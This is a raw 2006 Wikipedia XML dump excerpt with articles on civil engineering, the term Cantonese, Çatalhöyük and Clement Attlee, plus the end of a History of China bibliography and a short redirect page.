*Pelliot, Paul. 1904. &quot;Deux itin&amp;eacute;raires de Chine en Inde &amp;agrave; la fin du VIII&lt;sup&gt;e&lt;/sup&gt; si&amp;egrave;cle.&quot; ''BEFEO'' 4 (1904), pp. 131-413.
*Schafer, Edward H. 1963. ''The Golden Peaches of Samarkand: A study of T’ang Exotics''. University of California Press. Berkeley and Los Angeles. 1st paperback edition. 1985. ISBN 0520054628. 
*Schafer, Edward H. 1967. ''The Vermilion Bird: T’ang Images of the South''. University of California Press, Berkeley and Los Angeles. Reprint 1985. ISBN 0520054628.
*Shaffer, Lynda Norene. 1996. ''Maritime Southeast Asia to 1500''. Armonk, New York, M.E. Sharpe, Inc. ISBN 1563241447. 
*Wang, Zhenping. 1991. &quot;T’ang Maritime Trade Administration.&quot; Wang Zhenping. ''Asia Major'', Third Series, Vol. IV, 1991, pp. 7-38.

===Song Dynasty, the Liao and the Jin===
*Shiba, Yoshinobu. 1970. ''Commerce and Society in Sung China''. Originally published in Japanese as ''So-dai sho-gyo--shi kenkyu-''. Tokyo, Kazama shobo-, 1968. Yoshinobu Shiba. Translation by Mark Elvin, Centre for Chinese Studies, University of Michigan. 

===Ming Dynasty===
*Duyvendak,  J.J.L. ''China’s Discovery of Africa'' (London: Probsthain, 1949)
*Sung, Ying-hsing. 1637. ''T’ien kung k’ai wu''. Published as ''Chinese Technology in the seventeenth century''. Translated and annotated by E-tu Zen Sun and Shiou-chuan Sun. 1996. Mineola. New York. Dover Publications.

== Further reading ==
*Laufer, Berthold. 1912. ''JADE: A Study in Chinese Archaeology &amp; Religion''. Reprint: Dover Publications, New York. 1974.

== External links ==
*[http://www.badley.info/history/China.country.year.index.html China Chronology World History Database]
*[http://www.chinaknowledge.de/History/history.htm A universal guide for China studies]
*[http://www.history-forum.com History Forum] - Discuss Chinese history at [http://www.history-forum.com History Forum's] [http://www.history-forum.com/index.php/board,4.0.html Asian History] section
*[http://authors.history-forum.com/liang_jieming/chinesesiegewarfare/ Chinese Siege Warfare] - Mechanical Artillery and Siege Weapons of Antiquity - An Illustrated History bought to you by [http://www.history-forum.com History Forum]
*[http://www.chinahistoryforum.com/ China History Forum - online Chinese history discussion] - online community for learning and discussing all aspects of Chinese history, including Chinese art of war, Chinese culture etc.
*[http://www.benbest.com/history/China.html A Simplified History of China]
*[http://www.projectshum.org/Ancient/china.html Ancient Civilizations - Ancient China] Great research site for kids

[[Category:History of China| ]]

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  <page>
    <title>Civil engineering</title>
    <id>5762</id>
    <revision>
      <id>41889412</id>
      <timestamp>2006-03-02T11:23:12Z</timestamp>
      <contributor>
        <ip>87.49.114.61</ip>
      </contributor>
      <comment>/* Education and Licensure */</comment>
      <text xml:space="preserve">[[Image:FalkirkWheelSide 2004 SeanMcClean.jpg|thumb|300px|The [[Falkirk Wheel]] in [[Scotland]].]]

In modern usage, '''civil engineering''' is a broad field of [[engineering]] that deals with the [[Urban planning|planning]], [[construction]], and [[maintenance]] of fixed [[structures]], or [[public works]], as they are related to [[earth]], [[water]], or [[civilization]] and their processes.  Most civil engineering today deals with [[road]]s, [[structure]]s, [[water]] supply, [[sewer]], [[flood]] control and [[traffic]]. In essence civil engineering is the profession which makes the world a more habitable place to live.

Engineering has developed from observations of the ways natural and constructed systems react and from the development of empirical equations that provide bases for design.  Civil engineering is the broadest of the engineering fields.  In fact, engineering was once divided into only two fields--military and civil.  Civil engineering is still an umbrella field comprised of many related specialties.

==Sub-disciplines of civil engineering==
===General civil engineering===
General civil engineering is concerned with the overall interface of fixed projects with the greater world.  General civil engineers work closely with surveyors and specialized civil engineers to fit and serve fixed projects within their given site, community and terrain by designing grading, drainage (flood control), paving, water supply, sewer service, electric and communications supply and land (real property) divisions.  General engineers spend much of their time visiting project sites, developing community/neighborhood consensus, and preparing construction plans.

===Structural engineering===
''Main article: [[Structural engineering]]''

Structural engineering is concerned with the design of [[bridge]]s, buildings, offshore [[oil platform]]s, [[dam]]s etc. [[Structural design]] and [[structural analysis]] are components of structural engineering and a key component in the structural design process. This involves computing the stresses and forces at work within a structure. There are some structural engineers who work in non-typical areas, such as designing aircraft, spacecraft and even biomedical devices. Major design concerns are building seismic resistant structures and [[seismic retrofit|seismically retrofitting]] existing structures.

===Geotechnical engineering===
''Main article: [[Geotechnical engineering]]''

The main subject of the studies also known as [[soil mechanics]] is concerned with soil properties, mechanics of soil particles, compression and swelling of soils, seepage, slopes, retaining walls, foundations, footings, ground and rock anchors, use of synthetic tensile materials in soil structures, soil-structure interaction and soil dynamics. Geotechnical engineering covers this field of studies for application in engineering.

The importance of geotechnical engineering can hardly be overstated: buildings must be supported by reliable foundations. Dam design and construction reducing flooding of lower drainage areas is an important subject of geotechnical engineering.

===Transportation engineering===
''Main article: [[Transportation engineering]]''

Transportation engineering is primarily concerned with [[road transport|motorized road transportation]], especially in North America. This includes areas such as [[queueing theory]] and traffic flow planning, roadway geometric design and driver behavior patterns. Simulation of traffic operation is performed through use of trip generation, traffic assignment algorithms which can be highly complex computational problems. Other specialized areas of transportation engineering deal with the designs of non-road transportation facilities, such as [[rail transport|rail systems]], [[airport]]s, and [[port]]s.

===Environmental engineering===
[[image:Trickling filter bed 2 w.JPG|right|thumb|250px|Wastewater treatment is a critical activity in environmental engineering, a sub-discipline of civil engineering.]]
''Main article: [[Environmental engineering]]''

Environmental engineering deals with the treatment of chemical, biological, and/or thermal waste, the purification of water and air, and the [[remediation]] of contaminated sites, due to prior waste disposal or accidental contamination.  Among the topics covered by environmental engineering are [[water purification]], [[sewage treatment]], and [[hazardous waste]] management.  Environmental engineering is related to the fields of [[hydrology]], [[geohydrology]] and [[meteorology]] insofar as knowledge of water and [[groundwater]] flows is required to understand pollutant transport.  Environmental engineers are also involved in pollution reduction, &quot;green engineering,&quot; and [[industrial ecology]].  Environmental engineering also deals with the gathering of information on the  environmental consequences of proposed actions and the assessment of effects of proposed actions for the purpose of assisting society and policy makers in the decision making process.

Environmental engineering is the contemporary term for [[environmental engineering|sanitary engineering]].  Some other terms in use are public health engineering and environmental health engineering.

===Hydraulic engineering===
''Main article: [[Hydraulic engineering]]''

Hydraulic engineering is concerned with the flow and conveyance of fluids, principally water. This area of engineering is intimately related to the design of pipelines, [[water supply network|water distribution systems]], drainage facilities (including bridges, dams, channels, culverts, levees, and storm sewers), canals, and to environmental engineering.  Hydraulic engineers design these facilities using the concepts of [[fluid pressure]], [[fluid statics]], [[fluid dynamics]], and [[hydraulics]], among others.

===Construction engineering===
''Main article: [[Construction engineering]]''

Construction engineering involves planning and execution of the designs from transportation, site development, hydraulic, environmental, structural and geotechnical engineers.

===Materials science===
''Main article: [[Materials science]]''

Civil engineering also includes [[materials science]].  
Engineering materials with broad application in civil engineering include concrete, aluminum and steel. The study of materials also includes polymers and ceramics with potential engineering application.

===Surveying===
''Main article: [[Surveying]]''

Elements of a building or structure must be correctly sized and positioned in relation to each other and to site boundaries and adjacent structures. This is accomplished using surveying techniques. Civil engineers are trained the methods of surveying and may seek Professional Land Surveyor status.

==Careers==
A popular misconception is that civil engineering is far from the exciting frontiers in [[mathematics]] and [[computer science]]. In actuality, much of what is now [[computer science]] was driven by work in civil engineering, where structural and network analysis problems required parallel computations and development of advanced algorithms.

There are also civil engineers who work in the area of [[safety engineering]] and forensics engineering, applying [[Monte Carlo method|probabilistic methods]] to structural design, safety analysis and even estimates of insurance losses due to natural and man-made hazards.

==Education and Licensure==
[[Image:Instituion of Civil Engineers.jpg|thumb|The [[Institution of Civil Engineers]] headquarters in [[London]].]]
Prior to becoming a practicing engineer, civil engineers generally complete tertiary (college or higher) educational requirements, followed by several years of practical experience.  Each country, state, or province individually regulates civil engineering practice:

In the U.S., one must become a licensed [[Professional Engineer]] to do any civil engineering work affecting the public or to legally represent oneself as a civil engineer.  Licensure requirements vary slightly by state, but in all cases entail passing two licensure exams, the [[Fundamentals of Engineering exam]] and the Principles and Practice exam (commonly called the PE), and completing a state-mandated number of years of work under the supervision of a licensed Professional Engineer.  In addition, an educational requirement must often be met.  All states accept a four year [[Bachelor of Science]] (BS) or [[Bachelor of Engineering]] (BEng) degree in Civil Engineering, from an [http://www.abet.org ABET]-accredited program, for their educational requirement.  The acceptability of degrees in other fields varies by state; some states allow a person to substitute additional years of supervised work experience for the degree requirement.  Although the [[American Society of Civil Engineers]] encourages states to raise the educational requirement to a graduate degree, advanced degrees are currently optional for civil engineers in the United States.  Graduate study may lead either to a [[Master of Engineering]], which is a [[Professional Master's degree]], or to a [[Master of Science]] degree followed by a [[PhD]] in civil engineering or a sub-discipline.

In the [[United Kingdom]] current graduates require a MSc or MEng in order to become chartered through the [[Institution of Civil Engineers]]. This is relaxed to a BSc or BEng for those who entered university prior to the current rules coming into force. The Institution also allows entrants with substantial experience to apply without this level of formal academic achievement. In practice, most civil engineers in the United Kingdom work without chartered status. Unlike in many other European countries, the term 'Engineer' is not legally protected within the United Kingdom.

In Australia and New Zealand, requirements are typically a four year [[Bachelor of Engineering]] (BE) degree which includes 12 weeks of work experience.

In [[Denmark]], Civil Engineer status takes five years to complete. The first three years is aimed at completing a Bachelor degree, and the following two years are called a candidate degree, which is roughly the equivalent of a [[Master's degree]]. The only two places in Denmark to complete the Civil Engineer education, is at [[DTU]] and [[University of Aalborg]]. It should be noticed, that a Civil Engineer in Denmark isn't a person working with planning, construction etc, but the title of a person with the Bachelor degree and the candidate degree in engineering. This is because there are two types of engineers being educated in Denmark, The &quot;Diploma Engineer&quot;(which takes 3 years), and the &quot;Civil Engineer&quot;(Which taked 5 years, and is in two parts; a bachelor and a candidate).

'''International engineering agreements''' are designed to allow engineers to practice across international borders.  In general, these agreements require both educational competencies and professional experiential competencies.

== See also ==

* [[American Society of Civil Engineers]]
* [[Civil engineer]]
* [[Institution of Civil Engineers]]
* [[List of civil engineers]]
* [[List of historic civil engineering landmarks]]
* [[Landscape Architecture]]
* [http://ocw.mit.edu/OcwWeb/Civil-and-Environmental-Engineering/index.htm Civil Engineering Courses], MIT OpenCourseWare
* [http://www.ieagreements.com/ International Engineering Agreements]


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[[es:Ingeniería civil]]
[[fr:Génie civil]]
[[id:Teknik Sipil]]
[[it:ingegneria civile]]
[[ja:土木工学]]
[[nl:Civiele techniek]]
[[pl:Budownictwo]]
[[pt:Engenharia civil]]
[[sv:Väg och vattenbyggnadsteknik]]
[[th:วิศวกรรมโยธา]]
[[tr:İnşaat Mühendisliği]]</text>
    </revision>
  </page>
  <page>
    <title>Cantonese</title>
    <id>5763</id>
    <revision>
      <id>41601376</id>
      <timestamp>2006-02-28T12:28:40Z</timestamp>
      <contributor>
        <username>Gerbrant</username>
        <id>190376</id>
      </contributor>
      <minor />
      <comment>original wording fixed Cantonese as a dialect</comment>
      <text xml:space="preserve">'''Cantonese''' generally refers to people or things associated with [[Guangdong]] [[Province of China|Province]], [[Hong Kong]] or [[Macau]] in [[China]].  

*'''[[Cantonese people]]''': people residing in, or with ancestry in, Guangdong and environs
** Many people of Cantonese descent reside in [[Canada]], [[Australia]], [[Malaysia]], [[Singapore]], [[Vietnam]], [[United Kingdom|UK]], [[Ireland]] and the [[United States of America|United States]], and other places, part of the [[overseas Chinese|Chinese overseas diaspora]].
* The '''[[Cantonese (linguistics)|Cantonese]] language''': the native speech of many [[Cantonese people]] and residents of Guandong, Hong Kong, Macau, and other Chinese communities in China and elsewhere, including a large proportion of [[overseas Chinese]]. (Considered a ''[[language]]'' mainly by non-Chinese scholars, based on intelligibility, or a ''[[dialect]]'' mainly by Chinese scholars, and in Western popular speech, based on [[Chinese character|writing system]] and [[History of China|cultural-historical]] factors) 
** The [[Cantonese (linguistics)|Cantonese language/dialect]], broadly, is the speech originally developed among populations of Guangdong and environs. 
** [[Standard Cantonese]] is the [[prestige dialect|prestige]] and mainstream (sub)dialect of Cantonese, historically based on that of [[Guangzhou]], also usually simply called Cantonese. 
**Cantonese includes various dialects, such as [[Taishan dialect]] or [[Waitau]].
* '''[[Cantonese cuisine]]''':  cuisine of the style historically popularized in [[Guangzhou]], or broadly, among [[overseas Chinese|Chinese communities abroad]] with origins in Guangdong. 

== Etymology ==
The term &quot;Cantonese&quot; derives from the place-name &quot;[[Canton, China|Canton]]&quot;, a former name used in Western languages for Guangzhou, the capital of Guangdong Province. Most likely, it is a development of the Cantonese-language pronunciation ''Gwong Dung'', the name of the province, romanized in former systems as Kwang Tung or Kwangtung. The name 'Canton' was then erroneously applied to the city of Guangzhou. In some European languages both the city and the province is known as Canton (or similar spellings). Additional confusion may have come about as a result of confusion between Cantonese-language and other Chinese versions of the name (e.g. [[Mandarin (linguistics)|Mandarin]]), as well as mispronunciations by users of the romanization systems.

== See also ==
* [[List of Cantonese-related topics]]

{{disambig}}
[[ru:Кантонский]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Chaplin</title>
    <id>5764</id>
    <revision>
      <id>15903958</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Charlie Chaplin]]
</text>
    </revision>
  </page>
  <page>
    <title>Çatalhöyük</title>
    <id>5765</id>
    <revision>
      <id>41590427</id>
      <timestamp>2006-02-28T09:49:06Z</timestamp>
      <contributor>
        <username>Zserghei</username>
        <id>464297</id>
      </contributor>
      <comment>+ ru</comment>
      <text xml:space="preserve">[[Image:CatalHoyukSouthArea.JPG|thumb|300px|right|Excavations at the South Area of Çatal Höyük]]
'''Çatalhöyük''' {{IPA|/&amp;#679;&amp;#593;t&amp;#593;l højyk/}} (also ''Çatal Höyük'' and ''Çatal Hüyük'', or any of the three without [[accent mark]]s -- Çatal is [[Turkish language|Turkish]] for 'fork' and Höyük is [[Turkish language|Turkish]] for &quot;mound&quot;) was a very large [[Neolithic]] and [[Chalcolithic]] settlement in southern [[Anatolia]], dating from around 7500 BC for the lowest layers. It is perhaps the largest and most sophisticated Neolithic site yet uncovered. 

Çatalhöyük is located overlooking wheatfields in the Konya Plain, southeast of the present-day city of [[Konya]], [[Turkey]], approximately eighty-five miles from the twin-coned volcano of [[Hasan Da&amp;#287;]].  The eastern settlement forms a mound which would have risen about 20 metres above the plain at the time of the latest Neolithic occupation.  There is also a smaller settlement mound to the west and a [[Byzantine Empire|Byzantine]] settlement a few hundred meters to the east.  The prehistoric mound settlements were abandoned before the [[Bronze Age]].  A channel of the Çarsamba river once flowed between the two mounds, and the settlement was built on alluvial clay which may have been favourable for early [[agriculture]]. 

== Archaeological history ==
First discovered in 1958, the Çatalhöyük site was brought to worldwide attention by [[James Mellaart]]'s excavations between [[1961]] and [[1965]], which revealed this section of [[Anatolia]] as a centre of advanced culture in the [[Neolithic]] period.  After Mellaart was banned from Turkey for involvement in the &quot;Dorak affair&quot; in which he published drawings of supposedly important Bronze Age artifacts that later went missing (see Pearson and Connor, below), the site lay idle until September 1, 1993, when investigations began under the leadership of [[Ian Hodder]] from the [[University of Cambridge]].  These investigations are among the most ambitious excavation projects currently in progress according to, among others, [[Colin Renfrew]]. In addition to extensive use of [[archaeological science]], psychologists' and artists' interpretations of the [[symbolism]] of the wall paintings have also been employed.  

== Cultural findings ==
The settlement was described by Mellaart as the earliest city in the world.  However, it is more properly described as an overgrown village rather than a true town or city.  The community seems to have consisted entirely of domestic housing with open areas for dumping rubbish.  There are no obvious public buildings or signs of division of labour, although some dwellings are larger than the rest and bear more elaborate wall paintings.  The purpose of larger rooms remains unclear, though some sort of ritual purpose is suspected. 
 
The population of the eastern mound has been estimated at up to 10,000 people, but population totals likely varied over the community’s history.  An average population of between 5,000 to 8,000 is a reasonable estimate.  The inhabitants lived in mud-brick houses which were crammed together in an agglutinative manner.  No footpaths or streets were used between the dwellings, which were clustered in a honeycomb-like maze.  Most were accessed by holes in the ceiling, which were reached by interior and exterior ladders.  The ceiling openings also served as the only source of ventilation, letting in fresh air and allowing smoke from open hearths and ovens to escape.  House interiors were characterized by squared off timber ladders or steep stairs, usually placed on the south wall of the room, as were [[cooking hearths]] and [[ovens]].  Each main room served as an area for cooking and daily activities.  Raised platforms built along the walls of main rooms were used for sitting, working and sleeping.  These platforms, and all interior walls, were carefully plastered to a smooth finish.  Ancillary rooms were used as storage, and were accessed through low entry openings from main rooms.  All rooms were kept scrupulously clean.  Archaeologists identified very little trash or rubbish within the buildings, but found that trash heaps outside the ruins contain sewage and food waste as well as significant amounts of wood ash.  In good weather, many daily activities may also have taken place on the rooftops, which conceivably formed an open air plaza.  In later periods, large communal ovens appear to have been built on these rooftops.  Over time, houses were renewed by partial demolition and rebuilding on a foundation of rubble&amp;mdash; which was how the mound became built up.   Up to eighteen levels of settlement have been uncovered. 
  
The people of Çatalhöyük buried their dead within the village.  Human remains have been found in pits beneath the floors, and especially beneath hearths and the platforms within the main rooms.  The bodies were tightly flexed before burial, and were often placed in [[baskets]] or wrapped in reed mats.  Disarticulated bones in some graves suggest that bodies may have been exposed in the open air for a time before the bones were gathered and buried.  In some cases, graves were disturbed and the individual’s head removed from the skeleton.  These heads may have been used in ritual, as some were found in other areas of the community. Some skulls were plastered and painted with ochre to recreate human-like faces, a custom more characteristic of Neolithic sites in Syria and at Neolithic [[Jericho]] than at sites closer by . 
 
Vivid [[murals]] and [[figurines]] are found throughout the settlement, on interior and exterior walls.  Predominant images include men with erect phalluses, groups of men in hunting scenes, and red images of the now extinct [[aurochs]] and stags, and vultures swooping down on headless figures.  Heads of animals were mounted on walls.  In addition, distinctive [[clay]] figurines of women have been found in the upper levels of the site.  Although no identifiable temples have been found, the graves, murals and figurines suggest that the people of Çatalhöyük had a religion that was rich in symbol. Rooms with concentrations of these items may have been shrines or public meeting areas.  The people appear to have lived relatively egalitarian lives with no apparent social classes, as no houses with distinctive features (belonging to [[Monarch|kings]] or [[priests]], for example) have been found so far.  The most recent investigations also reveal little social distinction based on gender, with both men and women receiving equivalent nutrition and apparently having relatively equal social status.

In upper levels of the site, it becomes apparent that the people of Çatalhöyük were gaining skills in [[agriculture]] and the domestication of animals.  Female figurines have been found within bins used for storage of [[cereal]]s such as [[wheat]] and [[barley]].  [[Peas]] were also grown, and [[almonds]], [[pistachio]]s, and fruit were harvested from trees in the surrounding hills.  [[domestic sheep|Sheep]] were domesticated and evidence suggests the beginning of [[cattle]] [[domestication]] as well.  However, [[hunting]] continued to be a major source of meat for the community.  The making of [[pottery]] and the construction of [[obsidian]] tools were major industries.  Obsidian tools were probably both used and traded for items as [[Mediterranean]] [[sea]] [[animal shell|shells]] and [[flint]] from [[Syria]].

== Religion ==
One striking features of Catalhoyuk are its female figurines.  Mellaart, the original excavator, argued that these well-formed, carefully made figurines, carved and molded from marble, blue and brown limestone, schist, calcite, basalt, alabaster and clay, represented female deity.  Although a male deity existed as well, “…statues of a female deity far outnumber those of the male deity, who moreover, does not appear to be represented at all after Level VI” (James Mellaart, Catal Huyuk: A Neolithic Town in Anatolia.  McGraw-Hill 1967, p. 181).  These careful figurines were found primarily in areas Mellaart believed to be shrines.  One, however  – a stately seated Goddess flanked by two lions – was found in a grain bin, which Mellaart suggests might have been a means of ensuring the harvest or protecting the food supply (Mellaart, p. 180).  

Whereas Mellaart excavated nearly two hundred buildings in four seasons, the current excavator, Ian Hodder, spent an entire season excavating one building alone (Michael Balter, The Goddess and the Bull, Free Press, 2005, p. 127).  Nevertheless, Hodder, in 2004 and 2005, began turning up the same corpulent, carefully-made “Mother Goddess” figurines that Mellaart found in abundance.  The 2005 female figurine was striking; according to the official Catalhoyuk website, it “…may force us to change our views of the nature of Catalhoyuk society…”:  

“There are full breasts on which the hands rest, and the stomach is extended in the central part….  As one turns the figurine around one notices that the arms are very thin, and then on the back of the figurine one sees a depiction of either a skeleton or the bones of a very thin and depleted human. The ribs and vertebrae are clear, as are the scapulae and the main pelvic bones….  [T]his is a unique piece that may force us to change our views of the nature of Catalhoyuk society and imagery” (official Catalhoyuk website 2005 Press Release: “New Finds at Catalhoyuk”).

==See also==
*[[Bull (mythology)]]
*[[Old European culture]]
*[[Neolithic Revolution]]

==External links==
* [http://www.catalhoyuk.com Çatalhöyük  Excavations of a Neolithic Anatolian Höyük] 
* [http://www.sciencemag.org/cgi/content/full/282/5393/1442 The First Cities: Why Settle Down? The Mystery of Communities]

==For Further Reading==
* Balter, Michael (2005). ''The Goddess and the Bull: Catalhoyuk, An Archaeological Journey to the Dawn of Civilization.'' New York: Free Press. ISBN 0743243609. (A highly condensed version was published in ''Smithsonian Magazine'', May 2005.)

* Hodder, Ian, editor.  ''On the Surface: Çatalhöyük 1993-95''.  Cambridge:  McDonald Institute for Archaeological Research and British Institute of Archaeology at Ankara, 1996.  ISBN  0951942034. 

* Hodder, Ian. ''Women and Men at Çatalhöyük''.  Scientific American Magazine, January 2004, (update V15:1, 2005 - see www.sciam.com).

* Mellaart, James.  ''Catal Huyuk: A Neolithic Town in Anatolia.'' New York: McGraw-Hill Book Company, 1967.  

* Pearson and Connor.  ''The Dorak Affair''.  New York, Atheneum, 1968.  

[[Category:Archaeological sites in Turkey|Catalhöyük]]
[[Category:Anatolia|Catalhöyük]]
[[Category:Copper Age|Catalhöyük]]
[[Category:Neolithic|Catalhöyük]]

[[bs:Čatal Hejuk]]
[[de:Çatal Hüyük]]
[[es:Çatalhöyük]]
[[fr:Çatal Hüyük]]
[[it:Çatal Hüyük]]
[[pl:Çatal Höyük]]
[[pt:Çatalhüyük]]
[[ru:Чатал-Гуюк]]
[[sv:Çatal Hüyük]]
[[tr:Çatal Höyük]]</text>
    </revision>
  </page>
  <page>
    <title>Clement Attlee</title>
    <id>5766</id>
    <revision>
      <id>41010204</id>
      <timestamp>2006-02-24T13:30:12Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <minor />
      <comment>sort key</comment>
      <text xml:space="preserve">{{Infobox BPM
 | name=[[The Right Honourable|The Rt. Hon.]] Clement Richard, Earl Attlee
 | image=Catlee.jpg
 | kingdom=the United Kingdom
 | term=[[27 July]] [[1945]] &amp;ndash; [[26 October]] [[1951]]
 | before=[[Winston Churchill]]
 | after=[[Winston Churchill|Sir Winston Churchill]]
 | date_birth=[[3 January]] [[1883]]
 | place_birth=[[Putney]], [[London]]
 | date_death=[[8 October]] [[1967]]
 | place_death=[[London]]
 | party=[[Labour Party (UK)|Labour]]
}}
'''Clement Richard Attlee, 1st Earl Attlee''', [[Order of the Garter|KG]], [[Order of Merit|OM]], [[Order of the Companions of Honour|CH]], [[Privy Council of the United Kingdom|PC]] ([[3 January]] [[1883]]–[[8 October]] [[1967]]) was [[Prime Minister of the United Kingdom]] from 1945 to 1951. Despite his natural modesty and laconic style of speaking, he won a landslide [[United Kingdom general election, 1945|election]] victory over [[Winston Churchill]] immediately after Churchill had led [[United Kingdom|Britain]] through [[World War II]]. He was the first [[Labour Party (UK)|Labour]] Prime Minister to serve for a full Parliamentary term, and the first to have a majority in Parliament. The government he led put in place the [[post-war consensus]], which enabled the [[nationalisation]] of major industries and public utilities to create a system of administration that was by and large accepted by both parties until [[Margaret Thatcher]] became Prime Minister. In [[2004]] he was voted as the most effective (Non-Wartime) British Prime Minister in the [[20th century]] in a poll [http://www.mori.com/polls/2004/leeds.shtml [[1]] of political academics organised by [[MORI]].

==Birth and Early Life==
Born in [[Putney]] in [[London]] into a middle-class family, and educated at [[Haileybury and Imperial Service College|Haileybury]] and [[University College, Oxford]], Attlee trained as a lawyer. He turned to [[socialism]] after working with slum children in the [[East End of London]]. Good works for the poor did not attract him; he did not want there to be any poor. He left the [[Fabian Society]] and joined the [[Independent Labour Party]] in 1908. Attlee became a lecturer at the [[London School of Economics]] in 1913, but enlisted promptly for [[World War I]].

==Early Political Career==  
During the [[World War I|war]] Attlee served in Gallipoli and Mesopotamia , where he was badly wounded at El Hanna. He recovered back in England, and was sent to France in 1918 and served on the Western Front for the last few months of the war. By the end of the First World War he had reached the rank of major. After the war, he returned to teaching at the [[London School of Economics]] and became involved in local politics, becoming mayor of the London borough of [[Stepney]] in 1919. At the [[United Kingdom general election, 1922|1922 general election]] Atlee became the [[Member of Parliament|MP]] for the [[constituency]] of [[Limehouse]] in [[Stepney]]. He was [[Ramsay MacDonald]]'s parliamentary private secretary for the brief 1922 parliament. 

Attlee served in the first two [[British Labour Party|Labour]] governments, as under-secretary of state for war in 1924 with [[Ramsay MacDonald]], then as [[Chancellor of the Duchy of Lancaster]] and later [[United Kingdom Postmaster General|Postmaster General]] in the 1929 to 1931 MacDonald government. He actively supported the [[UK General Strike 1926|General Strike]]. In 1928 he reluctantly joined the [[Simon Commission]], a royal commission on [[British Raj|India]]. As a result of the time he had to devote to this, he was not initially offered a ministerial post in the [[Second Labour Government]].

==Opposition==
In 1930, Labour MP [[Oswald Mosley]] attacked his own government favouring [[Keynesian]] action against unemployment, and lost. Attlee got Mosley's old job as [[Chancellor of the Duchy of Lancaster]]. He was Postmaster General in 1931, when most of the party's leaders lost their seats; this helped him win the deputy leadership under [[George Lansbury]]. Attlee, and Labour, opposed [[appeasement]]. Additionally, he had previously opposed (in concert with the [[Liberal Party (UK)|Liberal Party]]) rearmament, for which [[Winston Churchill|Churchill]] blamed him in his monumental work ''A Gathering Storm'' (among others, including Lansbury and MacDonald). When Lansbury resigned the leadership in 1935, Attlee was appointed as an interim leader until after the [[united Kingdom general election, 1935|general election]] that year. In the post election leadership contest Attlee was elected, beating both [[Herbert Morrison (politician)|Herbert Morrison]] and [[Arthur Greenwood]], and remained leader of the party until 1955 - to date, Labour's longest-serving party leader. 

==Deputy Prime Minister==
In the [[World War II]] coalition government, three interconnected committees ran the war: [[Winston Churchill|Churchill]] chaired the war cabinet and the defence committee. Attlee was his regular deputy in committee and in parliament, and chaired the lord president's committee, which ran the civil side of the war. Only he and Churchill remained in the war cabinet throughout. Attlee was [[Lord Privy Seal]] (1940-1942), [[Deputy Prime Minister of the United Kingdom|Deputy Prime Minister]] (1942), [[Secretary of State for Dominion Affairs|Dominions Secretary]] (1942-1943), and [[Lord President of the Council]] (1943-1945). 

==Prime Minister== 
The landslide [[United Kingdom general election, 1945|1945 Election]] returned Labour to power and Attlee became prime minister. The party had clear aims. Several controversal policies were enacted, including the [[nationalisation]] of utilities and the long-distance transport system and the creation of the modern [[Welfare State]].  [[History of India|India]] became independent, and Britain's role in [[1947 UN Partition Plan|Palestine]] ended. Attlee's first Health Secretary, [[Aneurin Bevan]], fought against general medical disapproval, to create the British [[National Health Service]] that still survives today and is often just as controversial as then.

The Labour Party was returned to power in the [[united Kingdom general election, 1950|general election of 1950]].  The large reduction that it suffered in its parliamentary majority was mostly due to the vagaries of the [[first past the post]] voting system, plus a degree of Conservative opposition recovering support at the expense of the Liberal Party.

==Return to Opposition and Retirement==
Labour lost the [[United Kingdom general election, 1951|General Election of 1951]] despite polling more votes than in the 1945 election, and indeed more votes than the Conservative Party.  Labour had also been internally weakened by splits exacerbated by the strain of financing British involvement in the [[Korean War]]. Attlee led the party in opposition until 1955, when he retired from the Commons and was elevated to the peerage to take his seat in the [[House of Lords]] as [[Earl Attlee]] and Viscount Prestwood on [[16 December]] [[1955]].  He died in 1967 and the title passed to his son [[Martin Richard Attlee, 2nd Earl Attlee]] (1927 - 1991). The title is now held by Clement Attlee's grandson [[John Richard Attlee, 3rd Earl Attlee]]. The third earl (a member of the [[Conservative Party (UK)|Conservative Party]]) retained his seat in the Lords as one of the few hereditary peers elected to the House under an amendment to the 1999 [[House of Lords Act]].

When Attlee died his estate was probated at £7,295, a relatively modest sum for so prominent a figure.

==[[Attlee's Cabinet]] 1945-1950==
[[Image:Clement-Attlee-arms.PNG|thumb|right|150px|Arms of Clement Attlee]]
*'''Clement Attlee''': [[Prime Minister]] and [[Minister of Defence]]
*[[William Jowitt|Lord Jowitt]]: [[Lord Chancellor]]
*[[Herbert Morrison (politician)|Herbert Morrison]]: [[Lord President of the Council]] and [[Leader of the House of Commons]]
*[[Arthur Greenwood]]: [[Lord Privy Seal]]
*[[Hugh Dalton]]: [[Chancellor of the Exchequer]]
*[[Ernest Bevin]]: [[Secretary of State for Foreign Affairs]]
*[[James Chuter Ede]]: [[Secretary of State for the Home Department]]
*[[George Henry Hall]]: [[Secretary of State for the Colonies]]
*[[Christopher Addison|Lord Addison]]: [[Secretary of State for Dominion Affairs]]
*[[Frederick Pethick-Lawrence, 1st Baron Pethick-Lawrence|Lord Pethick-Lawrence]]: [[Secretary of State for India|Secretary of State for India and Burma]]
*[[A. V. Alexander]]: [[First Lord of the Admiralty]]
*[[Jack Lawson]]: [[Secretary of State for War]]
*[[William Wedgwood Benn]], [[1st Viscount Stansgate|Lord Stansgate]]: [[Secretary of State for Air]]
*[[Ellen Wilkinson]]: [[Minister of Education]]
*[[Joseph Westwood]]: [[Secretary of State for Scotland]]
*[[Tom Williams]]: [[Minister of Agriculture and Fisheries]]
*[[George Isaacs]]: [[Minister of Labour and National Service]]
*[[Aneurin Bevan]]: [[Secretary of State for Health|Minister of Health]]
*[[Stafford Cripps|Sir Stafford Cripps]]: [[President of the Board of Trade]]
*[[Emanuel Shinwell]]: [[Minister of Fuel and Power]]

===Changes=== 
*July 1946 - [[Arthur Greenwood]] becomes [[Paymaster-General]] as well as [[Lord Privy Seal]].
*October 1946 - The three service ministers ([[Secretary of State for War]], [[Secretary of State for Air]], and [[First Lord of the Admiralty]]) cease to be [[cabinet positions]].  [[A. V. Alexander]] remains in the cabinet as [[Minister without Portfolio]]. [[George Hall]] replaces [[A. V. Alexander]] as [[First Lord of the Admiralty]], outside the [[cabinet]]. [[Arthur Creech Jones]] succeeds [[Hall]] as [[Secretary of State for the Colonies]].
*December 1946 - [[A. V. Alexander]] succeeds [[Attlee]] as [[Minister of Defence]].
